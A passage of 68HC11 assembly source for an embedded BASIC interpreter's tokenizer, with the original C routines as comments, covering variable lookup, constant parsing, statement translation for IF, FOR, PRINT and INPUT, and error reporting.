#BOLOPTBL bra CKOP ;***** cklogop() *****/ ; ;cklogop() ;{ ; if(match("<=")) return(LTEQTOK); ; else if(match(">=")) return(GTEQTOK); ; else if(match("<>")) return(NOTEQTOK); ; else if(match("<")) return(LTTOK); ; else if(match(">")) return(GTTOK); ; else if(match("=")) return(EQTOK); ; else return(NULL); ;} CKLOGOP ldx #LOGOPTBL bra CKOP ;<><><><><> NOTE: THIS ROUTINE HAS NO 'C' COUNTER PART <><><><><><> TBLSRCH jsr STREQ ; SEARCH FOR STRING. bcs TBLSRCH1 ; IF FOUND GO GET TOKEN & RETURN. TBLSRCH2 inx ; BUMP POINTER TO NEXT CHAR. lda ,x ; GET IT. bne TBLSRCH2 ; KEEP LOOKING FOR END OF ENTRY. inx:2 ; FOUND IT. BUMP POINTER TO NEXT ENTRY. lda ,x ; AT THE END OF THE TABLE? bne TBLSRCH ; NO. GO CHECK THE NEXT ENTRY. clc ; YES. FLAG AS NOT FOUND. rts ; RETURN. TBLSRCH1 lda 1,X ; GET TOKEN. sec ; FLAG AS FOUND. rts ; RETURN. ? macro fcs \@~1~\@ fcb ~2~ endm NUMOPTBL equ * PLUS @? +,PLUSTOK MINUS @? -,MINUSTOK MULT @? *,MULTTOK DIV @? /,DIVTOK MODS @? \,MODTOK fcb 0 ; END OF TABLE FLAG. BOLOPTBL equ * ANDS @? .AND.,ANDTOK ORS @? .OR.,ORTOK EORS @? .EOR.,EORTOK fcb 0 ; END OF TABLE FLAG. LOGOPTBL equ * LTEQ @? <=,LTEQTOK GTEQ @? >=,GTEQTOK NOTEQ @? <>,NOTEQTOK LT @? <,LTTOK GT @? >,GTTOK EQ @? =,EQTOK fcb 0 ; END OF TABLE FLAG. UINARYOP equ * NEGS @? -,NEGTOK NOTS @? NOT,NOTTOK fcb 0 ; END OF TABLE MARKER. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include BASICLB3.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***** getvar *****/ ; ;tries to make a variable out of what is currently being pointed to by ;'ibufptr' and places it into the variable symbol table if it is not ;already there ; ;getvar() ;{ ; short vartype,cnt; ; char varname[3]; ; int offset; ; for(cnt=0; cnt<=2; cnt++) { varname[cnt]=0; } clr out var name ; if(alpha(*ibufptr)) { varname[0]=*ibufptr++; } is 1st char an alpha? ; else { errcode=ILVARERR; return(0); } no. error GETVAR pshy clra psha:4 tsy jsr GETCHR jsr ALPHA bcs GETVAR1 lda #ILVARERR jmp RPTERR GETVAR1 jsr ToUpper sta ,y jsr INCIBP ; if(alphanum(*ibufptr)) { varname[1]=*ibufptr++; } ; if((vartype=chcktyp())==0) { vartype=FVARTOK; } ; else { ++ibufptr; } jsr GETCHR jsr ALPHANUM bcc GETVAR2 jsr ToUpper sta 1,Y jsr INCIBP GETVAR2 bsr CHCKTYP sta 3,Y ; if((offset=findvar(vartype,varname))==-1) is var already in table? ; { ; if(errcode) return; ; if((offset=putvar(vartype,varname))==-1) return; no. put it there ; } ; if(errcode) return; ; bsr FINDVAR cmpd #-1 bne GETVAR5 GETVAR4 lda 3,Y jsr PUTVAR ; *tbufptr++=vartype; put variable type byte in token buffer ; putint(offset); put offset after it ; if((vartype==IVARTOK) | (vartype==FVARTOK)) return(NUM); ; return(STRING); ;} GETVAR5 pshd lda 3,Y jsr PUTTOK puld jsr PUTDTOK lda 3,Y ; GET VARIABLE TYPE AGAIN. bita #$10 ; IS IT AN ARRAY VARIABLE? beq GETVAR7 ; NO. CONTINUE. jsr INCIBP ; MOVE THE INPUT BUFFER POINTER PAST THE OPEN (. lda #OPARNTOK jsr PUTTOK lda #NUM ; YES. SUBSCRIPT EXPRESSION MUST BE NUMERIC. jsr XEXPRES ; GO GET THE SUBSCRIPT. jsr GETNXCHR ; GET THE TERMINATING CHARACTER. cmpa #')' ; IS IT A CLOSING PAREN? beq GETVAR8 ; YES. GO FINISH UP. lda #MPARNERR ; NO. ERROR. jmp RPTERR GETVAR8 lda #CPARNTOK ; GET CLOSING PAREN TOKEN. jsr PUTTOK ; PUT TOKEN IN BUFFER. GETVAR7 lda #NUM ; NO. RETURN PROPER TYPE. ldb 3,Y bitb #2 beq GETVAR6 lda #STRING GETVAR6 ins:4 puly rts ;***** chcktype *****/ ; ;chcktyp() ;{ ; if(*ibufptr=='%') return(IVARTOK); ; else if(*ibufptr=='$') return(SVARTOK); ; else return(0); ;} CHCKTYP lda #IVARTOK ; IN V1.0 ONLY INTEGER VARIABLES ARE SUPPORTED. psha ; IN V2.0 FLOATING POINT VARIABLES WILL BE jsr GETCHR ; SUPPORTED. cmpa #'(' ; IS A SUBSCRIPT FOLLOWING THE NAME? pula ; RESTORE THE TOKEN TYPE. bne :AnRTS ; NO. RETURN. adda #$10 ; YES. MAKE IT AN ARRAY VARIABLE. rts ; RETURN. ;***** findvar *****/ ; ;findvar(vartype,varname) ;short vartype; ;char *varname; ;{ ; char *varptr; ; varptr=varbegin; point to the start of the var table ; while(*varptr) we're not to the end of the table FINDVAR ldx VARBEGIN FINDVAR1 tst ,x beq FINDVAR2 ; { ; if(*varptr==vartype) is the current var the same type? ; { yes. ; if(streq(varptr+1,varname)) is the name the same? ; { yes. ; return(varptr-varbegin); return the offset from the table start ; } ; } cmpa ,x bne FINDVAR3 ldb 1,X cmpb ,y bne FINDVAR3 ldb 2,X cmpb 1,Y bne FINDVAR3 xgdx subd VARBEGIN rts ; if not, advance to the next variable in the table ; if(*varptr==IVARTOK) varptr=varptr+ISIZ+3; ; else if(*varptr==SVARTOK) varptr=varptr+SSIZ+3; ; else if(*varptr==FVARTOK) varptr=varptr+FSIZ+3; ; else { errcode=ILTOKERR; return(-1); } ; } FINDVAR3 ldb ,x bitb #$10 ; IS IT AN ARRAY VARIABLE? beq FINDVAR8 ; NO CONTINUE. ldb #ASIZ+3 ; YES. GET ARRAY SIZE +3. bra FINDVAR7 FINDVAR8 cmpb #IVARTOK bne FINDVAR6 ldb #ISIZ+3 FINDVAR7 abx bra FINDVAR1 FINDVAR6 lda #ILTOKERR jmp RPTERR FINDVAR2 ldd #-1 rts ; return(-1); ;} ; ; ; ;***** putvar *****/ ; ;putvar(vartype,varname) ;short vartype; ;char *varname; ;{ ;short count,n; ;char *varadd; ; varadd=varend; save begining addr of var we are storing ; *varend++=vartype; put token/type in variable symbol table ; *varend++=*varname++; put variable name in ; *varend++=*varname++; PUTVAR ldx VAREND pshx sta ,x inx ldb ,y stb ,x inx ldb 1,Y stb ,x inx ; if(vartype==IVARTOK) count=ISIZ+1; determine # of bytes for this ; else if(vartype==SVARTOK) count=SSIZ+1;variable ; else if(vartype==FVARTOK) count=FSIZ+1; ; else { errcode=ILTOKERR; return(-1); } ; for(n=1;n<=count;n++) *varend++=0; zero the storage ; --varend; ; if(varend > varmend) { errcode=OMEMERR; return(-1); } memory overflow? ; vmemavil-=count; decrement the amt of avail memory ; return(varadd-varbegin); return offset ;} bsr CLRVAR clr ,x ; CLEAR 1 BYTE BEYOND THE END OF THE VAR AREA. stx VAREND cpx VARMEND bls PUTVAR5 lda #OMEMERR bra CLRVAR6 PUTVAR5 puld subd VARBEGIN pshd ; SAVE THE OFFSET TO THIS VARIABLE. jsr CCLEAR3 ; CLEAR ALL VARIABLES SINCE WE MAY HAVE TRASHED ; ANY ARRAYS THAT HAD BEEN ALLOCATED. puld ; RESTORE THE "NEW" VARIABLE OFFSET. rts CLRVAR bita #$10 ; IS IT AN ARRAY VARIABLE? beq CLRVAR8 ; NO. CONTINUE. ldb #ASIZ ; YES. GET THE DICTIONARY SIZE+1. bra CLRVAR1 ; PUT THE VARIABLE IN THE DICTIONARY. CLRVAR8 cmpa #IVARTOK bne CLRVAR4 ldb #ISIZ CLRVAR1 clr ,x inx decb bne CLRVAR1 rts CLRVAR4 lda #ILTOKERR CLRVAR6 jmp RPTERR ;***** getcon() *****/ ; ;getcon() ;{ ; int const; ; char *litp; ; short count; ; litp=ibufptr; save a pointer to start of constant ; if(*ibufptr=='"') { getscon(); return(STRING); } if " get strng GETCON jsr GETCHR ; else if(*ibufptr=='$') { ++ibufptr; const=gethex(); } if '$' get hex ; else const=getdeci(); else assume its a decimal constant ; if(errcode) return(0); if error abort GETCON2 ldx IBUFPTR pshx cmpa #'$' bne GETCON3 jsr INCIBP bsr GETHEX bra GETCON4 GETCON3 bsr GETDECI ; *tbufptr++=ICONTOK; put integer constant token in buffer ; putint(const); follow it with the constant ; count=ibufptr-litp; get number of bytes in source form of const. ; *tbufptr++=count; put it in the token buffer ; while(litp < ibufptr) *tbufptr++=*litp++; copy source form into buffer ; return(NUM); return the constant type ; } GETCON4 psha lda #ICONTOK jsr PUTTOK pula jsr PUTDTOK ldd IBUFPTR tsx subd ,x tba jsr PUTTOK pulx GETCON5 lda ,x jsr PUTTOK inx decb bne GETCON5 lda #NUM rts ;***** getdeci() *****/ ; ;getdeci() ;{ ; char c; ; int num; ; num=0; ; if(numeric(*ibufptr)==0) is 1st char numeric? ; { errcode=SYTXERR; return; } no. flag error & return ; while(numeric(c=*ibufptr)) yes. while *ibufptr is numeric ; { ; num=num*10+(c-'0'); build number ; if(num < 0) { errcode=INTOVERR; return; } if <0 flag error & ret ; ++ibufptr; ; } ; return(num); return the value ;} GETDECI pshy clra psha:2 tsy ldx IBUFPTR lda ,x jsr NUMERIC bcs GETDECI1 lda #SYTXERR bra CHCKERR GETDECI1 lda ,x jsr NUMERIC bcc GETDECI3 jsr ADDDIG bpl GETDECI1 lda #INTOVERR bra CHCKERR GETDECI3 stx IBUFPTR ldd ,y ins:2 puly rts ;***** gethex() *****/ ; ;gethex() ;{ ; char c; ; short count; ; int num; ; num=count=0; ; if(hexdig(*ibufptr)==0) is the char a hex digit? ; { errcode=IVHEXERR; return; } no. flag error & return GETHEX pshy clra psha:2 tsy ldx IBUFPTR lda ,x bsr HEXDIG bcs GETHEX1 lda #IVHEXERR CHCKERR tst RUNFLAG beq GETHEX5 jmp RPTRERR GETHEX5 jmp RPTERR ; while(hexdig(c=*ibufptr)) while a hex digit is in the buffer ; { ; if(numeric(c)) num=num*16+(c-'0'); build the number ; else num=num*16+(c-55); ; if(count++ > 4) ; { errcode=HEXOVERR; return; } if over 4 digits flag overflow & ret ; ++ibufptr; ; } ; return(num); return constant value ;} GETHEX1 lda ,x bsr HEXDIG bcc GETDECI3 ldd ,y lsld bcs GETHEX3 lsld bcs GETHEX3 lsld bcs GETHEX3 lsld bcs GETHEX3 std ,y lda ,x jsr ToUpper tab inx subb #'0' cmpb #9 bls GETHEX4 subb #7 GETHEX4 clra addd ,y std ,y bra GETHEX1 GETHEX3 lda #HEXOVERR bra CHCKERR ;***** hexdig() *****/ ; ;hexdig(c) ;char c; ;{ ; return(numeric(c) | (c>='A' & c<='F')); return true if c is hex ;} HEXDIG jsr NUMERIC bcc HEXDIG1 rts HEXDIG1 jsr ToUpper cmpa #'A' blo HEXDIG2 cmpa #'F' bhi HEXDIG2 sec rts HEXDIG2 clc rts ;***** getscon *****/ ; ;getscon() ;{ ; short count; ; char *bufptr,c; ; count=2; initalize byte count to 2 ; *tbufptr++=SCONTOK; put string constant token in buffer ; bufptr=tbufptr++; save value of tbufptr, advance to next byte, ; and reserve a byte for string length ; *tbufptr++=*ibufptr++; put 1st quote in token buffer GETSCON ldb #2 lda #SCONTOK jsr PUTTOK ldx TBUFPTR pshx clra jsr PUTTOK jsr GETNXCHR ; PUT FIRST QUOTE IN TOKEN BUFFER. jsr PUTTOK ; while(((c=*ibufptr) != '"')) ; { ; if(c==EOL) if we hit EOL ; { errcode=MISQUERR; return; } flag error & return ; *tbufptr++=c; if not, put next char in buffer ; ++ibufptr; advance input buffer pointer ; ++count; up byte count ; } GETSCON1 jsr GETNXCHR cmpa #'"' beq GETSCON2 cmpa #EOL bne GETSCON3 lda #MISQUERR jmp RPTERR GETSCON3 jsr PUTTOK incb bra GETSCON1 ; *tbufptr++=c; put closing quote in token buffer ; ++ibufptr; advance input buffer pointer ; *bufptr=count; put string byte count in token buffer ; return; ;} GETSCON2 jsr PUTTOK GETSCON4 pulx stb ,x rts ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include BASICLB4.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***** xon *****/ ; ;xon() ;{ ; int num; ; *tbufptr++=ONTOK; put ON token in buffer ; blanks(); skip any blanks ; xexpres(NUM); get the expression ; if(errcode) return; if error, return ; blanks(); skip any blanks ; if(match("GOTO")) xgoto(); check for GOTO ; else if(match("GOSUB")) xgosub(); check for GOSUB ; else errcode=IONSYERR; if neither, flag an error ; if(errcode) return; if error, return ; blanks(); skip blanks ; ; XON equ * ; jsr BLANKS lda #NUM jsr XEXPRES XON1 jsr BLANKS ldx #GOTO jsr STREQ bcc XON2 lda #GOTOTOK jsr PUTTOK jsr BLANKS jsr XGOTO bra XON5 XON2 ldx #GOSUB jsr STREQ bcs XON4 lda #IONSYERR jmp RPTERR XON4 lda #GOSUBTOK jsr PUTTOK jsr BLANKS jsr XGOSUB XON5 jsr BLANKS ; while(*ibufptr==',') do until EOL ; { ; *tbufptr++=COMMATOK; put COMMA token in buffer ; ++ibufptr; advance the input buffer pointer ; blanks(); skip blanks ; *tbufptr++=LCONTOK; put line number constant token in buffer ; num=getlinum(); get line number ; if(num==0) errcode=LINENERR; if 0, line number error ; if(errcode) return; if error, return ; putint(num); put line number in buffer ; blanks(); skip blanks ; } ; return; ;} jsr CHKCOMA bcs XON6 rts XON6 jsr BLANKS lda #LCONTOK jsr PUTTOK jsr GETLINUM XON8 jsr PUTDTOK bra XON5 XONIRQ equ * ; "ONIRQ" HAS A FUNCTION CODE & LINE NUMBER. XONTIME lda #NUM ; GO GET THE VALUE OF THE TIMER WE SHOULD GO ON. jsr XEXPRES jsr BLANKS ; SKIP BLANKS. jsr CHKCOMA ; GO CHECK FOR A COMMA. bcs XONTIME1 ; IF PRESENT, IT'S OK. XONTIME2 lda #MCOMAERR ; IF NOT, REPORT AN ERROR. jmp RPTERR XONTIME1 jsr BLANKS lda #LCONTOK ; GET THE LINE CONSTANT TOKEN. jsr PUTTOK ; PUT IT IN THE TOKEN BUFFER. jsr GETLINUM ; GO GET A LINE NUMBER. jmp PUTDTOK ; PUT THE LINE NUMBER IN THE TOKEN BUFFER. XONPACC bsr GETARG ; GET AN ARGUMENT AND A COMMA. bra XONTIME ; GO USE SOME OTHER CODE. GETARG lda #NUM ; GO GET THE "OPERATING MODE" EXPRESSION. jsr XEXPRES jsr BLANKS ; SKIP BLANKS. jsr CHKCOMA ; GO CHECK FOR COMMA. bcc XONTIME2 ; NO COMMA. REPORT ERROR. jmp BLANKS ; SKIP BLANKS AFTER COMMA AND RETURN. ;***** xif() *****/ ; ;xif() ;{ ;int num; ; *tbufptr++=IFTOK; put if token in the buffer ; blanks(); skip any blanks ; ifwhflag=1; let xexpres() know we are doing an IF ; xexpres(NULL); get relational expression ; if(errcode) return; if error, return ; blanks(); if not, skip blanks XIF equ * ; jsr BLANKS inc IFWHFLAG lda #NUM jsr XEXPRES XIF1 jsr BLANKS ; if(match("THEN")) check for "THEN" clause ; { ; *tbufptr++=THENTOK; put THEN token in the buffer ; blanks(); skip any blanks after "THEN" ldx #THENS jsr STREQ bcs XIF2 lda #MTHENERR jmp RPTERR ; if(numeric(*ibufptr)) is a line number present after THEN? ; { yes ; *tbufptr++=LCONTOK; put line # const. token in buffer ; num=getlinum(); get the line # ; if(num==0) errcode=LINENERR; ; if(errcode) return; if error, return ; putint(num); put number in buffer ; } ; else not a line #, check for statement ; { ; xlate(); try to make a statement out of what follows ; if(errcode) return; if error, return ; } ; } XIF2 lda #THENTOK jsr PUTTOK jsr BLANKS jsr GETCHR jsr NUMERIC bcc XIF9 XIF3 lda #LCONTOK jsr PUTTOK jsr GETLINUM XIF6 jsr PUTDTOK ; else if "THEN" not present ; { ; errcode=MTHENERR; flag a missing THEN error ; return; ; } ; ; ; blanks(); skip any blanks after object of THEN ; if(match("ELSE")) is "ELSE" clause present? ; { yes ; *tbufptr++=ELSETOK; put ELSE token in the buffer ; blanks(); skip any blanks after ELSE XIF4 jsr BLANKS ldx #ELSES jsr STREQ bcs XIF7 rts XIF7 lda #ELSETOK jsr PUTTOK jsr BLANKS ; if(numeric(*ibufptr)) is a line # present after ELSE ; { yes ; *tbufptr++=LCONTOK; put line # const. token in buffer ; num=getlinum(); get the line # ; if(num==0) errcode=LINENERR; ; if(errcode) return; if error, return ; putint(num); put number in buffer ; } ; else line # not present, try to xlate a statement ; { ; xlate(); ; } ; } jsr GETCHR jsr NUMERIC bcs XIF8 XIF9 lda #LINENERR jmp RPTERR XIF8 lda #LCONTOK jsr PUTTOK jsr GETLINUM XIF10 jmp PUTDTOK ; return; in any case, return ;} THENS fcs "THEN" ELSES fcs "ELSE" ;***** xfor() *****/ ; ;xfor() ;{ ; short type; ; *tbufptr++=FORTOK; put for token in buffer ; blanks(); skip blanks between FOR & assignment statement ; type=getvar(); get variable ; if((type!=NUM)|(*ibufptr++!='=')) is it a numerical variable? ; { errcode=IVEXPERR; return; } no. flag error & return XFOR equ * ; jsr BLANKS jsr GETVAR cmpa #NUM beq XFOR1 XFOR2 lda #IVEXPERR jmp RPTERR XFOR1 jsr GETNXCHR cmpa #'=' bne XFOR2 ; *tbufptr++=EQUALTOK; put equals token in buffer ; xexpres(NUM); go get a numerical expression ; if(errcode) return; if error, return ; blanks(); skip blanks lda #EQUALTOK jsr PUTTOK lda #NUM jsr XEXPRES jsr BLANKS ; if(match("TO")) is TO present? ; { yes ; *tbufptr++=TOTOK; put TO token in buffer ; blanks(); skip blanks ; xexpres(NUM); get the "TO" expression ; if(errcode) return; return if error ; } ; else "TO" not present ; { ; errcode=MTOERR; set error flag & return ; return; ; } ldx #TO jsr STREQ bcs XFOR4 lda #MTOERR jmp RPTERR XFOR4 lda #TOTOK jsr PUTTOK jsr BLANKS lda #NUM jsr XEXPRES ; blanks(); skip blanks ; if(match("STEP")) is optional "STEP" clause present? ; { yes ; *tbufptr++=STEPTOK; put STEP token in buffer ; blanks(); skip blanks ; xexpres(NUM); get expression ; } ; return; ;} jsr BLANKS ldx #STEP jsr STREQ bcs XFOR3 rts XFOR3 lda #STEPTOK jsr PUTTOK jsr BLANKS lda #NUM jmp XEXPRES TO fcs "TO" STEP fcs "STEP" ;***** xnext() *****/ ; ;xnext() ;{ ; *tbufptr++=NEXTTOK; put NEXT token in buffer ; blanks(); skip blanks ; if(getvar()!=NUM) errcode=SYTXERR; get variable, must be numeric ; return; ;} XNEXT equ * ; jsr BLANKS jsr GETVAR cmpa #NUM beq :AnRTS lda #SYTXERR jmp RPTERR ;***** xprint() *****/ ; ;xprint() ;{ ; *tbufptr++=PRINTTOK; put PRINT token in buffer ; blanks(); skip blanks XPRINT equ * ; jsr BLANKS jsr GETCHR cmpa #'#' ; HAS AN ALTERNATE PORT BEEN SPECIFIED? bne XPRINT9 ; NO. GO PROCESS THE REST OF THE PRINT STATEMENT. lda #PNUMTOK ; YES. PUT THE TOKEN INTO THE BUFFER. jsr PUTTOK ; DO IT. jsr INCIBP ; POINT PAST THE "#". jsr BLANKS ; SKIP SPACES BETWEEN '#' AND EXPRESION. bra XPRINT7 ; GO GET EXPRESSION & CONTINUE. ; while((*ibufptr!=EOL)|(*ibufptr!=MIDEOL)) do until end of line ; { ; xexpres(NULL); get expression ; if(errcode) return; if error, return ; blanks(); skip blanks ; if(*ibufptr==COMMA) *tbufptr=COMMATOK; check for comma ; else if(*ibufptr==SEMI) *tbufptr=SEMITOK; check for semicolin ; else return; if neither, return ; ++ibufptr; advance input buffer pointer ; ++tbufptr; advance token buffer pointer ; blanks(); skip blanks after delimeter ; } ; return; ;} XPRINT9 jsr BLANKS jsr GETCHR cmpa #EOL beq :AnRTS cmpa #MIDEOL bne XPRINT3 rts XPRINT3 jsr GETCHR ; GET THE NEXT CHARACTER IN THE BUFFER. cmpa #'"' ; IS IT A STRING CONSTANT? bne XPRINT7 jsr GETSCON ; YES. GO GET A STRING CONSTANT. bra XPRINT8 ; CONTINUE. XPRINT7 lda #NUM jsr XEXPRES XPRINT8 jsr BLANKS jsr GETCHR cmpa #EOL beq :AnRTS cmpa #MIDEOL beq :AnRTS bsr CHKCOMA bcs XPRINT9 XPRINT4 cmpa #SEMI beq XPRINT6 lda #MCMSMERR bra RPTERR XPRINT6 lda #SEMITOK bsr CHKCOMA2 bra XPRINT9 CHKCOMA jsr GETCHR ; GET CHARACTER FROM INPUT BUFFER. cmpa #COMMA ; IS IT A COMMA? beq CHKCOMA1 ; YES. PUT IT IN THE TOKEN BUFFER. clc ; NO. FLAG NO COMMA FOUND. rts ; RETURN. CHKCOMA1 lda #COMMATOK ; GET THE COMMA TOKEN. CHKCOMA2 jsr PUTTOK ; PUT THE TOKEN IN THE BUFFER. jsr INCIBP ; BUMP THE INPUT BUFFER POINTER. sec rts ; RETURN. ;***** xinput() *****/ ; ;xinput() ;{ ; *tbufptr++=INPUTTOK; put INPUT token in buffer ; blanks(); skip blanks XINPUT equ * ; jsr BLANKS bsr XCHKDEV ; GO CHECK FOR AN ALTERNATE DEVICE NUMBER. ; if(*ibufptr=='"') is a prompt included? ; { yes ; getscon(); get the string constant ; if(errcode) return; if error, return ; if(*ibufptr!=COMMA) { errcode=SYTXERR; return; } ; *tbufptr++=COMMATOK; ; ++ibufptr; ; } ; inreadcm(); get the input variable list ; return; ;} XINPUT2 jsr BLANKS jsr GETCHR cmpa #'"' bne INREADCM jsr GETSCON bsr CHKCOMA ; IF COMMA PRESENT, PUT IN TOKEN BUFFER. bcs INREADCM XINPUT3 lda #MCOMAERR bra RPTERR ;***** inreadcm() *****/ ; ;inreadcm() ;{ ; while(1) do forever ; { ; blanks(); skip blanks ; getvar(); get a variable ; if(errcode) return; if error, return ; blanks(); skip blanks ; if(*ibufptr==COMMA) ; { ; *tbufptr++=COMMATOK; put delimiter in buffer ; ++ibufptr; and point to the next char in the buffer ; } ; else return; if no delimiter return ; } ;} XDIM equ * INREADCM equ * XREAD equ * ; jsr BLANKS jsr GETVAR XREAD1 jsr BLANKS bsr CHKCOMA bcs XREAD rts XCHKDEV jsr GETCHR cmpa #'#' ; HAS AN ALTERNATE PORT BEEN SPECIFIED? beq XCHKDEV1 ; NO. GO PROCESS THE REST OF THE PRINT STATEMENT. rts ; RETURN. XCHKDEV1 lda #PNUMTOK ; YES. PUT THE TOKEN INTO THE BUFFER. jsr PUTTOK ; DO IT. jsr INCIBP ; POINT PAST THE "#". jsr BLANKS ; SKIP SPACES BETWEEN '#' AND EXPRESION. lda #NUM ; EXPRESSION MUST BE NUMERIC. jsr XEXPRES ; GO GET THE EXPRESSION. jsr BLANKS ; SKIP SPACES. bsr CHKCOMA ; GO GET COMMA THAT MUST FOLLOW THE EXPRESSION. bcc XINPUT3 ; MISSING COMMA. GO REPORT THE ERROR. rts ; IT WAS THERE. GO PROCESS THE REST OF THE STATEMENT. XINBYTE bsr XCHKDEV ; GO CHECK FOR ALTERNATE DEVICE. jsr BLANKS ; SKIP BLANKS AFTER COMMA. jmp GETVAR ; GO TRY TO GET A VARIABLE. ;***** xread *****/ ; ;xread() ;{ ; *tbufptr++=READTOK; put read token in buffer ; inreadcm(); get the variable list ; return; ;} ; ;***** xrestore() *****/ ; ;xrestore() ;{ ; *tbufptr++=RESTRTOK; put RESTORE token in buffer ; return; ;} ; ;***** xwhile() *****/ ; ;xwhile() ;{ ; *tbufptr++=WHILETOK; put WHILE token in buffer ; blanks(); skip blanks ; ifwhflag=1; indicate we are going to get a WHILE expression ; xexpres(NULL); get expression ; return; ;} XWHILE equ * ; jsr BLANKS inc IFWHFLAG lda #NULL jmp XEXPRES ;***** xendwh() *****/ ; ;xendwh() ;{ ; *tbufptr++=ENDWHTOK; put ENDWH token in buffer ; return; ;} XPACC equ * XTIME ldb #NUM ; SETUP TO USE CODE IN "ASIGNMT". jmp ASIGNMT1 ; GO DO ASSIGNMENT STATEMENT. ;***** rpterr() *****/ ; ;rpterr() ;{ ;char *ptr,c; ; ptr=inbuff; point to start of input buffer ; nl(); ; nl(); ; while((c=*ptr++)!=EOL) outbyte(c); print the input buffer RPTERR sta ERRCODE jsr NL2 ldx INBUFFS RPTERR1 lda ,x cmpa #EOL beq RPTERR2 jsr OUTBYTE inx bra RPTERR1 ; nl(); go to next line ; ptr=inbuff; point to begining of input buffer ; while(ptr++ < ibufptr-2) outbyte('*'); output '*' to point of error ; pl("^^^"); point to error ; nl(); RPTERR2 jsr NL ldx IBUFPTR dex:2 cpx INBUFFS bls RPTERR4 stx IBUFPTR ldx INBUFFS lda #'*' RPTERR3 jsr OUTBYTE inx cpx IBUFPTR bne RPTERR3 RPTERR4 ldx #ARROWS jsr PL jsr NL bsr RPTERR5 RPTERR6 lda #1 sta CONTFLAG jmp MAIN3 ; pl("ERROR # "); ; outdeci(errcode); ; return; ;} RPTERR5 ldx #ERRORS jsr PL ldb ERRCODE clra bra OUTDECI ARROWS fcs "^^^" ERRORS fcs "ERROR # " RPTRERR sta ERRCODE ; REPORT A RUN TIME ERROR. bsr RPTERR5 RPTRERR1 ldx #INLINE jsr PL ldd CURLINE bsr OUTDECI jsr NL lda #1 sta CONTFLAG jmp MAINW BREAKS fcc "BREAK" INLINE fcs " IN LINE # " OUTDECI cmpd #0 bne OUTDECI1 lda #'0' jmp OUTBYTE OUTDECI1 pshy pshd ; SAVE THE NUMBER TO PRINT. ldd #10000 ; NUMBER TO START DIVIDING BY. pshd clrb ; SET INITAL VALUE OF LEADING ZERO SUPRESS FLAG. pshb tsy ldd 3,Y ; IS THE NUMBER NEGATIVE? bpl OUTDECI2 ; NO. GO PRINT THE NUMBER. negd ; YES. MAKE THE NUMBER POSITIVE. std 3,Y ; SAVE THE RESULT. lda #'-' ; PRINT A MINUS SIGN TO SHOW IT'S NEGATIVE. jsr OUTBYTE OUTDECI2 ldd 3,Y ; GET THE DIVIDEND. ldx 1,Y ; GET THE DIVISOR. idiv ; DO THE DIVIDE. std 3,Y ; SAVE THE REMAINDER. xgdx ; PUT QUOTIENT IN D. cmpd #0 ; IS THE QUOTIENT 0? bne OUTDECI3 ; NO. GO OUTPUT THE NUMBER. tst ,y ; YES. ARE WE STILL SUPRESSING LEADING ZEROS? beq OUTDECI4 ; YES. DON'T PRINT THE NUMBER. OUTDECI3 tba ; PUT THE NUMBER IN THE A-REG. adda #$30 ; MAKE THE NUMBER ASCII. ldb #1 ; MAKE THE ZERO SUPRESS FLAG NON-ZERO. stb ,y jsr OUTBYTE ; OUTPUT THE NUMBER. OUTDECI4 ldd 1,Y ; GET CURRENT DIVISOR. ldx #10 ; DIVIDE IT BY 10. idiv stx 1,Y ; SAVE RESULT. ARE WE DONE? bne OUTDECI2 ; NO KEEP GOING. ldb #5 ; DEALLOCATE LOCALS. aby tys puly ; RESTORE Y. rts ; RETURN. ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ; #Include BASICLB5.ASM ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***************************************************************************** ;***** getfun() *****/ ; ;getfun() ;{ ; short type; ; if(match("FDIV")) type=xfdiv(); ; else if(match("CHR$")) type=xchrs(); ; else if(match("ABS")) type=xabs(); ; else if(match("RND")) type=xrnd(); ; else if(match("SGN")) type=xsgn(); ; else if(match("TAB")) type=xtab(); ; else if(match("ADC")) type=xadc(); ; else if(match("CALL")) type=xcall(); ; else return(0); ; return(type); ;} GETFUN ldx #FUNCTBL GETFUN1 jsr STREQ bcs GETFUN2 GETFUN3 inx lda ,x bne GETFUN3 ldb #4 abx tst ,x bne GETFUN1 clra rts GETFUN2 lda #FUNCTFLG jsr PUTTOK lda 1,X ldx 2,X jmp ,x ? macro mdef 2,~1~TOK mdef 3,UNUMFUN fcs \@~1~\@ fcb ~2~ fdb ~3~ endm FUNCTBL equ * FDIVS @? FDIV,,BNUMFUN CHRS @? CHR$,CHRTOK ABS @? ABS RND @? RND SGN @? SGN TABS @? TAB ADCS @? ADC CALL @? CALL PEEK @? PEEK @? EEP,FEEPTOK HEX2 @? HEX2 HEX @? HEX @? PORT,FPRTATOK,FINDPORT @? TIME,FTIMETOK,XTIMEF @? PACC,FPACCTOK,XPACCF fcb 0 ; END OF TABLE MARKER. XPOKE ldx TBUFPTR ; GET TOKEN BUFFER POINTER. dex ; DEC. TO COMPENSATE FOR PUTTOK DONE IN XLATE. stx TBUFPTR ; SAVE NEW POINTER VALUE. FALL THROUGH TO BNUMFUN. lda ,x ; GET TOKEN BACK INTO THE A-REG. ;***** xfdiv() *****/ ; ;xfdiv() ;{ ; short type[2]; ; type[0]=type[1]=NUM; both arguments must be type NUM ; dofunct(FDIVTOK,2,type); ; return(NUM); ;} BNUMFUN pshy ldb #NUM pshb:2 tsy ldb #2 bsr DOFUNCT ; lda #NUM pula:2 puly rts ;***** xchrs *****/ ; ;xchrs() ;{ ; return(unumfun(CHRTOK)); ;} ; ;***** xabs() *****/ ; ;xabs() ;{ ; return(unumfun(ABSTOK)); ;} ; ;***** xrnd() *****/ ; ;xrnd() ;{ ; return(unumfun(RNDTOK)); ;} ; ;***** xsgn() *****/ ; ;xsgn() ;{ ; return(unumfun(SGNTOK)); ;} ; ;***** xtab() *****/ ; ;xtab() ;{ ; return(unumfun(TABTOK)); ;} ; ;***** xadc() *****/ ; ;xadc() ;{ ; return(unumfun(ADCTOK)); ;} ; ;***** xcall() *****/ ; ;xcall() ;{ ; return(unumfun(CALLTOK)); ;} ; ;***** unumfun() *****/ ; ;unumfun(token) common code for a uinary numerical function ;short token; ;{ ; short type[1]; setup argument 'type' array ; type[0]=NUM; 